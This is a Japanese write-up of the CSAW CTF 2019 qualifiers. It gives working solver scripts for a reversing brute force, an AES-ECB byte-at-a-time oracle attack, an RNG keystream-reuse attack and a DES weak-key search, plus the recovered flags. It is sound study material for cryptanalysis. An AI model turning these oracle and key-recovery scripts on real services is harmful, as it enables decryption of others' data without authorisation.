CSAW CTF Qualification Round 2019 Writeup

この大会は2019/9/14 5:00(JST)~2019/9/16 5:00(JST)に開催されました。
今回もチームで参戦。結果は2301点で1301チーム中52位でした。
自分で解けた問題をWriteupとして書いておきます。

mcgriddlev2 (Misc 1)

問題にフラグが書いてあった。

flag{W3lcome_7o_CSAW_QUALS_2019!}

beleaf (Rev 50)

Ghidraでデコンパイルする。

undefined8 FUN_001008a1(void)

{
  size_t sVar1;
  long lVar2;
  long in_FS_OFFSET;
  ulong local_b0;
  char local_98 [136];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter the flag\n>>> ");
  __isoc99_scanf(&DAT_00100a78,local_98);
  sVar1 = strlen(local_98);
  if (sVar1 < 0x21) {
    puts("Incorrect!");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  local_b0 = 0;
  while (local_b0 < sVar1) {
    lVar2 = FUN_001007fa((ulong)(uint)(int)local_98[local_b0]);
    if (lVar2 != *(long *)(&DAT_003014e0 + local_b0 * 8)) {
      puts("Incorrect!");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    local_b0 = local_b0 + 1;
  }
  puts("Correct!");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

入力文字の先頭から1バイトずつに対して、FUN_001007faの結果、DAT_003014e0の先頭から8バイトごとに比較し、同じであればよい。

long FUN_001007fa(char cParm1)

{
  long local_10;
  
  local_10 = 0;
  while ((local_10 != -1 && ((int)cParm1 != *(int *)(&DAT_00301020 + local_10 * 4)))) {
    if ((int)cParm1 < *(int *)(&DAT_00301020 + local_10 * 4)) {
      local_10 = local_10 * 2 + 1;
    }
    else {
      if (*(int *)(&DAT_00301020 + local_10 * 4) < (int)cParm1) {
        local_10 = (local_10 + 1) * 2;
      }
    }
  }
  return local_10;
}

FUN_001007faは複雑なので、1文字ずつブルートフォースして、フラグを割り出す。

def fun_001007fa(c, d):
    l10 = 0
    while (l10 != -1) and (ord(c) != ord(d[l10])):
        if ord(c) < ord(d[l10]):
            l10 = l10 * 2 + 1
        else:
            if ord(d[l10]) < ord(c):
                l10 = (l10 + 1) * 2
        if l10 >= len(d):
            return -1
    return l10

data1 = 'wf{_ny}\xffblr\xff\xff\xff\xff\xff\xffaei\xffot' + '\xff' * 16 + 'g' \
    + '\xff' * 6 + 'u' + '\xff' * 253 + '\x00' * 4
data2 = [0x01, 0x09, 0x11, 0x27, 0x02, 0x00, 0x12, 0x03, 0x08, 0x12, 0x09, \
    0x12, 0x11, 0x01, 0x03, 0x13, 0x04, 0x03, 0x05, 0x15, 0x2e, 0x0a, 0x03, \
    0x0a, 0x12, 0x03, 0x01, 0x2e, 0x16, 0x2e, 0x0a, 0x12, 0x06]

flag = ''
for i in range(len(data2)):
    for code in range(32, 127):
        if fun_001007fa(chr(code), data1) == data2[i]:
            flag += chr(code)
            break

print flag
flag{we_beleaf_in_your_re_future}

byte_me (Crypto 50)

$ nc crypto.chal.csaw.io 1003
8e3a4d70926b32ebb4b80e01189400f5086f25345940d66251babd2416e8eead8ffd5269278d9698812b891f577ff29c
Tell me something: 1
1
9dda04f64d140ce28198d71a17c9a16a264e34905a8e2b98de75bfbb62511843f9695b9b19b68e18a855fd4165a0759d8ea390f066b50eb675fffeff8495c3ea
Tell me something: 11
11
62dce69af355d465f4a088272724eff92f1c4ea0d91991823fccedaf1d94571bdfd97444cbfb5c6ed1b34a55899e2c3ebaaf99f38e84a6fd0a6642df7b712128
Tell me something: 111
111
abc5b8172151e716c60c523e39216edf9251a2a5cdb06e5750347aea2dc55c770f429cd2f7dd7fe3745678f9a5883ae2c03462ccf07acd173cdb0f5e301aded0
Tell me something: 1111
1111
53f47a70d13d8e20d1cc42c0a2325d0040212da4ec2809de85334b33cc6b042000e44eac9de2d4936504f9d473256119d1c243a49e01912ddcc6d23ef2a48a23
Tell me something: 11111
11111
857b2920911fb76c7e85cd19827ed6720049a29b122473108f213308d65e51440c533b2662c66c23cfc090435366f5ec5e8087e099425589c07996f8296d674e
Tell me something: 111111
111111
6d066dc3da495754785925f977d4608fbf82745fb42de4a14cf7611290ca1b25ed6ec3190c45cb32d73597863acff829ad25096ca29779d444c0577dacffa349
Tell me something: 1111111
1111111
2287829082fa2e8505e659b4334112e165950407b7ab634c61cad1948b1d86209f2192349315b3c582dee17c2921778172ce67fb239624c51e6923269fd224e8
Tell me something: 11111111
11111111
6158350a39f891f48c7aadd6016929e97f86432532d9efeb845bfc0db2042e4892423d64fd379ac0dea7528d983d6a039d18dee79e57138fff3851561de63909
Tell me something: 111111111
111111111
cdc2c9e31679b591e6aab11bfde5844badbd372bd6aecde3fc525b8216abb3d9a208e24b91039bd0959c0203fe587844b1ffbc6a86dfb84a5c404c4886028243
Tell me something: 1111111111
1111111111
0ea89afaacfba70ad2e826db9f07ee8d8a4d7d46228f6d80574b08bc7f17c3345f9d429b73e80185b613dd695fd8cc0c0265317e33ee102b19bc1526b84b9696
Tell me something: 11111111111
11111111111
8cb20a624038412d7aea7d0b09a3e5a1c8683a01bd349eee78d2cfacb308c8a267fa6f630031312508447603446ef1a5a63a57ba14017694cce47b8e08b81d44
Tell me something: 111111111111
111111111111
22d566a71035fec1b7c7e58ca65f64e23f2479b333df5d120194ea7f36360bdc218db8645397986cb5a53e4f31ea8900c63916fb939a745b5efb806323c0c416
Tell me something: 1111111111111
1111111111111
43fb5cdacd8325351d9288a49cd7a490756f30735e7ae58c85384630d75165abe7dcd9b4db0739d553e79e90e7a5438ce0593a91ded5f8ddd2d7db8ae76726b7
Tell me something: 11111111111111
11111111111111
6b117dc1904ba5a12a03e46ec2aebc058293d384389a2abcb752fac6b6e5c4f3432cb3e234c61b987401528b974a717e7157d9d202b615dbb015f73e7baaf38b
Tell me something: 111111111111111
111111111111111
6b117dc1904ba5a12a03e46ec2aebc057f61f330259ba1ccc54ac820b909598e8a2f7bc303ba9bfa81c0d66799e8bda3391c47ff2e503469dd03aa35d905adca
Tell me something: 1111111111111111
1111111111111111
6b117dc1904ba5a12a03e46ec2aebc0561b740da7797aaab1349a9bb74d1e37b086f25345940d66251babd2416e8eead8ffd5269278d9698812b891f577ff29c
Tell me something: 11111111111111111
11111111111111111
6b117dc1904ba5a12a03e46ec2aebc058bee55c773bc41bee18bd3a30a8e69b2264e34905a8e2b98de75bfbb62511843f9695b9b19b68e18a855fd4165a0759d8ea390f066b50eb675fffeff8495c3ea

AES暗号と推測できる。14バイト入力以降、暗号の最初の16バイトが同じ。

$ nc crypto.chal.csaw.io 1003
61835cf30e584280675ba53d13cc1ee9e6eacfc06b1a067d455e3f5ca9ec2ba1e38c5804b51b070717cf7116d9d6ad9a
Tell me something: 11111111111111111
11111111111111111
0071526a819c004eddfc086ca46cc5afaa1d3d0aafb3875c4f1b486779ee314123954b52b47f09098f87b3466f5679df3a4237df6e0bb82ade1e43acdc0c448b140c08213d26ff80ed32e0ee8e3d5c0c
Tell me something: 111111111111111111111111111111111 
111111111111111111111111111111111
0071526a819c004eddfc086ca46cc5af82f1811eb70021838da3a52c5c5934c0aa1d3d0aafb3875c4f1b486779ee314123954b52b47f09098f87b3466f5679df3a4237df6e0bb82ade1e43acdc0c448b140c08213d26ff80ed32e0ee8e3d5c0c

16バイト同じデータを追加してみる。暗号も最後16バイトは同じデータになった。ECBモードのようだ。
17バイト入力で、80バイトになったので、以下のような構成になっているはず。

0123456789abcdef
SSFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFP

0123456789abcdef
SSxxxxxxxxxxxxxx
xxxFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
PPPPPPPPPPPPPPPP

1文字ずつはみ出させ、暗号結果を比較し、フラグを求める。そう思ってスクリプトを作成したがうまくいかない。アクセスするたびに先頭のsaltの長さが変わっていると思われる。

flag: 45バイト
x: 5バイトで80バイトの暗号化データになった場合

0123456789abcdef
SSSSSSSSSSSSSSxx
xxxFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
PPPPPPPPPPPPPPPP

0123456789abcdef
SSSSSSSSSSSSSSxx
xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxF
xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFPPPP

0123456789abcdef
SSSSSSSSSSSSSSxx
xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxF
FFFFFFFFFFFFFFFF
xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFPPPP

このことを考慮してスクリプトを作成する。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.chal.csaw.io', 1003))

data = recvuntil(s, '\n').rstrip()
print data
enc_len = len(data) / 2
print enc_len

#### research salt length ####
LEN_FLAG = 45

for i in range(16):
    data = recvuntil(s, ': ')
    try_text = '1' * (i + 1)
    print data + try_text
    s.sendall(try_text + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
    enc = recvuntil(s, '\n').rstrip()
    print enc
    if len(enc) / 2 != enc_len:
        salt_len = 63 - LEN_FLAG - i
        break

#### get flag byte by byte ####
flag = ''
for i in range(LEN_FLAG):
    for code in range(32, 127):
        head_blocks = 'x' * (16 * 4 - salt_len - i - 1) + flag + chr(code)
        try_text = head_blocks + 'x' * (16 * 4 - i - 1)

        data = recvuntil(s, ': ')
        print data + try_text
        s.sendall(try_text + '\n')
        data = recvuntil(s, '\n').rstrip()
        print data
        enc = recvuntil(s, '\n').rstrip()
        print enc
        enc4 = enc[32*3:32*4]
        enc8 = enc[32*7:32*8]
        if enc4 == enc8:
            flag += chr(code)
            break

print flag
flag{y0u_kn0w_h0w_B10cks_Are_n0T_r31iab13...}

count_on_me (Crypto 100)

$ nc crypto.chal.csaw.io 1002
Send me a random seed
1111222233334444
Encrypted flag:
FF�����q����+b뾅n�u��RĬ�a�Rر:][&G\�H�
����k�]��4+a��&ZXQy$T�&������E�pr��_���͜o
gL��Z*���^N�`�Pot ?�`��O��s���*lT���T��Di��w��
�J�j�Lֹ��J:������.�/�����.�س��^Ǩ�d�e	�l?�
�5@�ʰ�n#��9Na�
                ��vZ����3�x�	d��U��V�'bI��
Ww�	UE�C���I�</��d�=�n�u	]˝{p0��j����O��$�w
}~��9-��+:��yɴ����JmkR-�K����D���X��Ҩ)
�82���cn3�_(������Ҿ�G���4/=���syFp��f9Z'��$�
`[1��YB�� �H��2N�F�����X �S�b�#2�8�{	�s��:
��oRG�P��ߨ�GG�Y4��aq��xbx�3���A�&�~n
�f���|"��$�t3E�ƶ�Ay�ȯ�iA50���6Z���%����G^
�#7lgH�η�4��s�x��a���NxtӡK�]e��Q6��QUw���
��/=BTZ\mk�w�#۵����@
                     o��	3t���L�!����G�W
U��5ח,�S��������:�ǩ��_�&�L�n������^ɯ��h0
�����A.P���gF�j}���7dε�^SU�i�?V��0i�;mA�� �;
4F�\�M�*��P"�az����0��x2�^x��0�
                                     ]͓D�Q�
SR���l�q�F���B2'�^��{-���b�N��^��5�ٕ���Lɥ
�`�'�rq.%�g�`8�U��mP�w|:��S�t���h	���	E��
"UDO��Ɗ�=�
           ²��Zi�D����-���ž���v7��I����

��kZ�~�z�Q��|F���&��Ԡ�9���iT��L�#:��
                                         aG�
�k!ᬡB�:a�e�8Lل��'����ԧ�%i!e�
"\=>_%�3�!����0Ś3�5�z�#)�Bh��-�`)�a����i��
3�|\������
X��_��9���;��
               g���v8^z�����!}�
)2��qʦzo��΀��wN#��{�o�@(8��b�@����8M�,ƒ|
�B@����x��;\�
>m��GWYBg,�xc���ڎ�,��A3�
�t�N��ʝ�ιI��������ӳ����!�� ��i�}y��)
��'
   ��9���F"�ӂz�HLL �I�`���yՉĔqj�~(�fi8x�t
�u��V��T
���]#~��W:zf�_��qJխ���X�@5u
�|)e����|2�r���
                M�&�5KK�94����Dc�m�yr"�gϚYў
-�g��&'����w>
0�E��C3�O�jR7Όޅ���_��$m"�j
"'hy�v%%�Tw*�����0
                      6��[[�p��}���\����<���
�,����͌�?���&}֞�jMd��7B���L(]�
                               �\H-�'�t�Jo
k��=��lQm>T���Ƽk�{_��
#���e,������6/=�-?�
2�uCG���Mتp�i$�d�5 ��j�-����"�f�Y엕�o�<Z�P�R
}DG*ۧ�ɲ�%n�';1��~����B���_5��Y�m�~$���%aŹ
m�
  O>^7��:^��+_s���v\�s��(f,����r���i��v
�nYM�5њ�gc
�G#h����˘���ŒB/�}���&R���i
1
 R
,�ǖ�b~��:S�=�8
               J�
                 ��rKOӨx���ydw���.�?����
U,��t��éܗf�X
             �	�����Zm2��+�4g��'��{z'�"�T
J�:��<[.��W/ͩ[a>g�U�[���ié<�_����|d��
�3F�'�&�Ç�ޏ��W���5�)y�0��[�x�������.��
�ͮ���7��9q���"^v�-@�:C�SD6�~�s0�ȖVva�(lf2w,
1s��$0�Kp��8`�	�8vą*�MͿ6��5evg<;ϕ�U՜vEuMu��
)���ʘ��hM?KE/��&x����dTI��}��q��O�M�BkUӊO�u
�j��-�=e������r��L�
                    Ƀ��v��dOEm8U�b��/q�}�
'}��<7ٹJ�/�)t����D|�Ԛ�2����@Y2xG��^%F[�W��
��d�
    Ȁ��@"�I	��ȑd���:��#�-ߙ
�cA��\�$D
!Q���1�1z�=Q����G��MfU�7�5!�Ypsd�z
5�eFi@�����6b�H�p]x:��ZMQ5�B��iu��;����
;.�a/L�����:&6���+����ۃ�`�����'93�)S�琋���
�2
���x&��[�\X�UA�(Nu���6��|����^\�0V�����Y%�
��d�\�MNjq�;�p�7�܄�j�|����R�·��(�2��������
���K�����`��G�
��\xv��u,�U|��k1�L�
p���߈�)
#��5�D�)��{5�K�M��d�qQ�.Wa�NS1/^���
                                     cWg����
>W%˭E
     ���V)Z��)Ư@��8�雩Ȯ���m.α
�F.
   ����ʦ
�,#������6��5��eBA�$��'Y~��\��s�on����#}�|�$�
ڜP�����t�y�lP$,����&ß�/;�%١u�n�=S�C"�̣
`���y�
       )i��N
            ,�]���FC]�J��K�{Z��y��3����$b��
Ew��ƧE��r�ڢ��Ut㶛�rA
                        H�&�g�gN�Krc�v��
��9P�g�
       �f���NE�b.�T��G|hS���C��('eQ����r���
��B!w�4(�b䢎��m :���(׽0����c�&#534574;��mt�60�K����
x}I�bX=���=|��W��klnr1�
mq��G%��]{-]~���
                 ܟ���c�D���6����V$�T`����M"�L
�rnE��NO�I' �?�CVx�
��z���*�ɯ���s��֒�F&�Y4����4�?�wI��v2���
�H���2�U�J���1��o,
                    ��k�{s��xQ����1����+�c�
���E��D;���C�>�o-
h{&�I���
�;��2��r�YLyD��<
�_�Y^ai儹���y//j��X��
Q��/��
���L]���9&t�
               ��cJV�s1�Mv����ph���Ԣ��
S���N�9'=���W^�~�X˨����!�9AM>ˉ�䃽S���&�(
�Xѹ�T��B�(,�R��P擜Z��`#��I�ߞ���'�c�~��gP�
ޠՏC�?
�(&��#Ǔפ�ڧ�:w�/��ubpe]

���{K��C���p��%���}�������������YC���AbJ�,
1t]����׈��/U�ɦ��w�I�5(��T+.,�pU�K�����b
pr��o�'
���4ԧ����Q����~�3,9ϯ��0�����z� yOL�
�￲L/B��䩕��[���z��B�BhMw~Sy���`QȐq+��X�
�5=�h�2e�01g��>�6���w��[�Ym�e”�@n+�
à}'=�	��|��$b�rs��J�V�s\�����ju+���#�
3p��
2�.�q�
         �>�
ɷm�����7]�l��Ap  �>"�� �/�?��
`���G�Y��e��
j�6         U�"\x����NK

�i�5B���4u�
];}�L�/�Ķ�z���v�C�Va��y%���iDv���n\B)T�.��!�
�N�bS�Z\��;u]�G\�.�	�1i^L�
.���	��6�?S����	�
�?�����Ѣ�������<�Sz�~V��
                           ��7���}��7������
���2hƃ��>��r<A���Aպm
ܜ|R��n������B 
�&�ݽ�gG��"$���VRڃ_�Ė�J�d\�W
O��ؽ.���j����
�����6A����i��Z�;��-���+aaK�5�u	Te�y���p��7
hr����d7 
           � ^���w�Ҍ�-u{S���]ވ��Z%��80�f�
B�NJ��ڢNP&5G) &Qm�d4ר�`�S��0
                             �M h��p�ړ ��
]G7@��X���X3P�l�c�v��vϸk�HY#��9�@��x!Ak�Ox���a
�9w�R����Xf����fdi����%	$l$9�����p��@-��
���ƥ8�x�.��L&�l v<'d�P�fu��Ay:��"w!ɨ@�V
k�Z*m=o��Z[����r� ��06�K���#ZV~@j^6%=.�
�=b��<E ��7SRN��9�%#�����t٨��k��g��Y�ɖq�!�n
��-�fk�^%ĺ�S�x�E�eBx}�͜y���F�s�vYѻ)��
��z>lߒC��
S�x�e�B��P�r0���\.<e��)
)�BA
���=B5M�O���b��Lhs,:�l!�./_��[+�
�!'�HK9qD��J�nT#/M�����=K��r�m����������
�%�E�����W�xLF$��e��*��C����])�ҫ������WK���
����l ��:����Ɠ�*��;~~�W�
                          ��b�}�x��Q�
                                     ���	���
�_h‚N�i��!��6�8�3#��g�D��W�oGS�o�IՄ��,��
Okay bye

サーバ処理の概要は以下の通り。

・randomのseedを数値(16桁)で指定する。
・100回、以下を実行する。
 ・'Encrypted Flag: <flag>'の暗号化を表示

※暗号化
 ・blocks: 16バイトごとの配列(\x00パディング)
 ・4バイトランダム整数→16バイトリトルエンディアン
  aes.encrypt(16バイトリトルエンディアン) ^ block

暗号化データの長さから暗号化対象は3ブロック分であることがわかる。つまりランダム値を取得する処理を300回行うことになる。最初のブロックの平文が"Encrypted Flag: "と分かっているため、最初のブロックと別のブロックで、同じランダム値になれば、XORで平文を求めることができる。まずは300回の中で同じランダム値になるものを探す。

import random

init = 1000000000000000

for seed in range(init, init + 1000000):
    random.seed(seed)
    rv = []
    for i in range(300):
        rv.append(random.getrandbits(32))

    if len(set(rv)) != 300:
        print 'seed =', seed
        print list(set([x for x in rv if rv.count(x) > 1]))[0]

この結果は以下の通り。

seed = 1000000000026100
3908936488
seed = 1000000000027013
1797854874
seed = 1000000000242922
888417342
seed = 1000000000303303
2077519103
seed = 1000000000394343
1302182496
seed = 1000000000533328
2485904517
seed = 1000000000673051
3982022670
seed = 1000000000721327
3930063372
seed = 1000000000732217
3280084977
seed = 1000000000764544
2876139729
seed = 1000000000802182
3602748008
seed = 1000000000862650
982727507
seed = 1000000000890137
2088408045
seed = 1000000000958167
1824344903

さらに異なるブロック間で同じものを探す。

import random

seeds = [1000000000026100, 1000000000027013, 1000000000242922]
doubles = [3908936488, 1797854874, 888417342]

for i in range(len(seeds)):
    random.seed(seeds[i])
    print 'seed =', seeds[i]
    for j in range(300):
        rv = random.getrandbits(32)
        if rv == doubles[i]:
            print j, j % 3

この結果は以下の通り。

seed = 1000000000026100
113 2
253 1
seed = 1000000000027013
60 0
260 2
seed = 1000000000242922
12 0
121 1

この情報を元に復号する。

import socket
import random
from Crypto.Cipher import AES

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def str_xor(s1, s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

PT1 = 'Encrypted Flag: '

#### SEED = 1000000000242922 ####
SEED = 1000000000242922

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.chal.csaw.io', 1002))

data = recvuntil(s, '\n').rstrip()
print data
print SEED
s.sendall(str(SEED) + '\n')

data = recvuntil(s, '\n').rstrip()
print data

encs = []
for _ in range(100):
    data = s.recv(48)
    print data
    encs.append(data)
    data = recvuntil(s, '\n').rstrip()
    print data

data = recvuntil(s, '\n').rstrip()
print data

index1 = 12
enc1 = encs[index1 // 3][16*(index1%3):16*(index1%3)+16]
key = str_xor(PT1, enc1)

index2 = 121
enc2 = encs[index2 // 3][16*(index2%3):16*(index2%3)+16]
pt2 = str_xor(key, enc2)

#### SEED = 1000000000027013 ####
SEED = 1000000000027013

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.chal.csaw.io', 1002))

data = recvuntil(s, '\n').rstrip()
print data
print SEED
s.sendall(str(SEED) + '\n')

data = recvuntil(s, '\n').rstrip()
print data

encs = []
for _ in range(100):
    data = s.recv(48)
    print data
    encs.append(data)
    data = recvuntil(s, '\n').rstrip()
    print data

data = recvuntil(s, '\n').rstrip()
print data

index1 = 60
enc1 = encs[index1 // 3][16*(index1%3):16*(index1%3)+16]
key = str_xor(PT1, enc1)

index2 = 260
enc2 = encs[index2 // 3][16*(index2%3):16*(index2%3)+16]
pt3 = str_xor(key, enc2)

print
flag = pt2 + pt3
print flag

実行結果は以下の通り。

Send me a random seed
1000000000242922
Encrypted flag:
b謇D・
サ・-ムF]テ/゚ヒC゙woセセ遊返怕}ux|。ナヨ・ア]yヲ

ЖN「q)・ソ・
トp6d夷Aュ{ヘQ_        ク萼
傳ケヲ禅頓

l・暝ヨヲータD・e郗ッ・ゥ{cw・ゥ誣オ縉!ァサュョ牒ア頚・

M・*ー戓dンッソj・kW斈bVィ~ケ砕v4給・・・,t

pdQ0齦・Tqn憚・Y犲Rスfウez「0キ俸q・督皛;ネ鉈・

ス・ナnワY<瀅キ-ヒ"ヒe7テ9i・f}諫V+9チナ鯑6キワ3

0ヘrEKセ密リ~ &コ「フXFgN
乳・J4ンユEa&レD酢脾ン>」ハ

・P&]・yg~イトイU      ・6稹・・ta$・・
Aウo$IエNYr
        :
        :
フ*・hカSィz輩・B。1SVgIw*Jノマホ〔ソX?・・Bln

矍ヲ郝・ウチ$ウュ・jvワ・・須m ・イMA殄kヒ」V晄

スyスア}[2・Rン・暴Z^ャK・敵1ヒリ,ヘト・屑$Y・・,ョシ

・・#J這ー=嘴уモW・伴軽シ

ッAハムャソpヒ4サゥ&乗Syォ1苓サeエEュツレキvヲチr熬Q毆

ノwW3293禪;・・d+GW?ッA薜・z・€嶝コ燈hm遮滾

鳰媾チ{・ネロエ5フ・・1Wヨ8{ラモ簔?ム垳s・ユi・lリAヵM

0!ィ=□WM輦悔ニA・      ゥ・\ホPエョI衣テG#

Okay bye

flag{U_c@n_coUn7_0n_m3_l1kE_123}
flag{U_c@n_coUn7_0n_m3_l1kE_123}

DES 2 Bites (Crypto 200)

暗号化のイメージはこのような感じ。

plainText --(key1, DES暗号)--> byte --(key2, DES暗号) --> cipherText

DES2Bytes.txt、DES2Bytes.encが与えられているので、その組み合わせから鍵を求める必要がありそう。key1, key2ともDESのWeak keyが使われているとヒントが出たため、下記のURLの内容を参考に総当たりする。

https://en.wikipedia.org/wiki/Weak_key
https://crypto.stackexchange.com/questions/12214/can-you-explain-weak-keys-for-des
from Crypto.Cipher import DES
import binascii
import itertools

IV = '13371337'

def getNibbleLength(offset):    
    if str(offset)[0] == '9':
        return len(str(offset)) + 1
    return len(str(offset))

def decodeText(cipherText, offset):
    nibbleLen = getNibbleLength(offset)
    output = ''
    for i in range(0, len(cipherText), nibbleLen):
        val = int(cipherText[i:i+nibbleLen]) - offset
        if val > 10:
            val -= 1
        output += hex(val)[2]
    output = output.decode('hex')
    return output

def padInput(input):
    bS = len(input) / 8
    if len(input) % 8 != 0:
        return input.ljust((bS+1) * 8, '_')
    return input

def unpadInput(input):
    return input.rstrip('_')

def desEncrypt(input, key):
    cipher = DES.new(key, DES.MODE_OFB, IV)
    msg = cipher.encrypt(padInput(input))
    return msg

def desDecrypt(input, key):
    cipher = DES.new(key, DES.MODE_OFB, IV)
    msg = unpadInput(cipher.decrypt(input))
    return msg

#### get keys ####
with open('DES2Bytes.enc', 'r') as f:
    ct = f.read()

ct = decodeText(ct, 9133337)
ct = binascii.unhexlify(ct)

with open('DES2Bytes.txt', 'r') as f:
    pt = f.read()

vuln_keys = [
'0101010101010101',
'FEFEFEFEFEFEFEFE',
'E0E0E0E0F1F1F1F1',
'1F1F1F1F0E0E0E0E',
'0000000000000000',
'FFFFFFFFFFFFFFFF',
'E1E1E1E1F0F0F0F0',
'1E1E1E1E0F0F0F0F',
'011F011F010E010E',
'1F011F010E010E01',
'01E001E001F101F1',
'E001E001F101F101',
'01FE01FE01FE01FE',
'FE01FE01FE01FE01',
'1FE01FE00EF10EF1',
'E01FE01FF10EF10E',
'1FFE1FFE0EFE0EFE',
'FE1FFE1FFE0EFE0E',
'E0FEE0FEF1FEF1FE',
'FEE0FEE0FEF1FEF1',
'1F1F01010E0E0101',
'E00101E0F10101F1',
'011F1F01010E0E01',
'FE1F01E0FE0E01F1',
'1F01011F0E01010E',
'FE011FE0FE010EF1',
'01011F1F01010E0E',
'E01F1FE0F10E0EF1',
'E0E00101F1F10101',
'FE0101FEFE0101FE',
'FEFE0101FEFE0101',
'E01F01FEF10E01FE',
'FEE01F01FEF10E01',
'E0011FFEF1010EFE',
'E0FE1F01F1FE0E01',
'FE1F1FFEFE0E0EFE',
'FEE0011FFEF1010E',
'1FFE01E00EFE01F1',
'E0FE011FF1FE010E',
'01FE1FE001FE0EF1',
'E0E01F1FF1F10E0E',
'1FE001FE0EF101FE',
'FEFE1F1FFEFE0E0E',
'01E01FFE01F10EFE',
'FE1FE001FE0EF101',
'0101E0E00101F1F1',
'E01FFE01F10EFE01',
'1F1FE0E00E0EF1F1',
'FE01E01FFE01F10E',
'1F01FEE00E01FEF1',
'E001FE1FF101FE0E',
'011FFEE0010EFEF1',
'01E0E00101F1F101',
'1F01E0FE0E01F1FE',
'1FFEE0010EFEF001',
'011FE0FE010EF1FE',
'1FE0FE010EF1FE01',
'0101FEFE0101FEFE',
'01FEFE0101FEFE01',
'1F1FFEFE0E0EFEFE',
'1FE0E01F0EF1F10E',
'FEFEE0E0FEFEF1F1',
'01FEE01F01FEF10E',
'E0FEFEE0F1FEFEF1',
'01E0FE1F01F1FE0E',
'FEE0E0FEFEF1F1FE',
'1FFEFE1F0EFEFE0E',
'E0E0FEFEF1F1FEFE'
]

for keys in itertools.product(vuln_keys, repeat=2):
    key1 = binascii.unhexlify(keys[0])
    key2 = binascii.unhexlify(keys[1])
    byte = desEncrypt(pt, key1)
    cipherText = desEncrypt(byte, key2)
    if cipherText == ct:
        break

print 'key1 =', key1.encode('hex')
print 'key2 =', key2.encode('hex')

#### decrypt ####
with open('FLAG.enc', 'r') as f:
    ct = f.read()

ct = decodeText(ct, 9133337)
ct = binascii.unhexlify(ct)

enc_flag = desDecrypt(ct, key2)
flag = desDecrypt(enc_flag, key1)
print flag

実行結果は以下の通り。

key1 = fe1ffe1ffe0efe0e
key2 = fe01e01ffe01f10e
Er ehrbaren nochmals bummelte mi la abziehen. Sah hing mirs gewi gro sie was fast hand. Oder zum ruh man ists teil kind zaun. Wahres ist verlor das jungen der wurden dem spahte. Oha ganz gang und bart hast neu zur sind. Leer wer und bett ehe tur herr. Gegenuber wer vermodert ihm belustigt argerlich. Zarte ri nacht zehen licht es. Wo du schleiche sudwesten getrunken fu. Wohnzimmer so regungslos nettigkeit aufzulosen wu. Ubelnehmen bis kartoffeln stockwerke das des dazwischen gro aufgespart. Gegen haute ihr kommt vor euern. Ich hinter schwer bundel sog dir linken. Doch ja eile so warf du haar kein wenn zu. Du ja schlanken te weiterhin zerfasert besserung la ausblasen geheimnis. Vergrast funkelte trostlos ab menschen da kollegen. Steh sich bart zu bett stie mehr ja. Ewige sie die oha kalte steht. Ein schonheit anzeichen man wie gru spazieren bewirtung ausdenken. Heiland heruber pa je so trocken. Tal nachdem schritt alt traurig. Mitwisser vom gegenteil bin ten uberhaupt. Gar aus stunde messer schlie. Behutsam zog ehrbaren geholfen ihm eigentum mir. Schleiche je se schwachen angerufen. Gro schoner bin anrufen langsam offenen nachdem fingern. Birkendose lattenzaun so geschlafen vorsichtig vielleicht am bodenlosen. Ture ja se floh ganz. Geborene schmalen tadellos ort hob sag geholfen vom schlafen hinunter. Zeigte nieder bin weg die mutter wie kummer fellen lassig. Also nun igen sog wei brot. Hufschmied mut man wohlgefuhl mir grasgarten. Eine arme ihm also tat zum dank hut furs. Madchens brannten nur auf gerberei man heiraten hindurch. Langsam ihr schlank wandern gar mag melodie. Bis ist nur vom herein heftig bilder. Herkommen anzeichen bis vor ernsthaft ein argerlich meisterin. Wurden spater uns liegen bin ein des spital. Unbemerkt ernstlich nebendran lohgruben unendlich aufraumen ich ton. Verlohnt he zwischen ab in einander pa. Bodenlosen he zu vorpfeifen dachkammer. Schwachem mannsbild ri schreibet um. Eia dessen lustig weg sachen neckte suchte. Wendete zuhorer dritten ein nachdem antwort gesicht tur den ton. Leuchtete neugierig dahinging vergnugen man ehe. Kam nachtessen was vertreiben brotkugeln see. Unendlich die auf hellroten kreiselnd kellnerin schonsten. Um du mischen schurze melodie ei geschah. Was froh ihn als wach wie sehr tief. Abwarts brachte mu stillen lacheln nachdem la te. Des schuttelte drechslers stockwerke ehe hausdacher. Sich auch zu ei dies chen sa he gern. <<flag{~tak3_0n3_N!bbI3_@t_@_t!m3~}>> Am knopf viere sa es essen te. Bis lag mehrmals launisch nirgends eck oha. Ab im er brotlose he herunter prachtig liebsten. Mancherlei so lattenzaun scherzwort em zu aufgespart ob dammerigen. Zusammen abraumen brauchte tut bezahlen behalten ton ige. Wach gang ein auf ihn ding froh ganz leid. Mi geblendet ab polemisch kammertur um pa verstehen. Wochen wahres du fu katzen mi gelang suchte zu. Vorwarts zu bummelte sa brauchen bi an. Sagen begru tat fromm man lie dabei uns. Kennt reden zahne da im recht leuen mager. Handen an zu sachte werdet ku durren gefegt. Sie 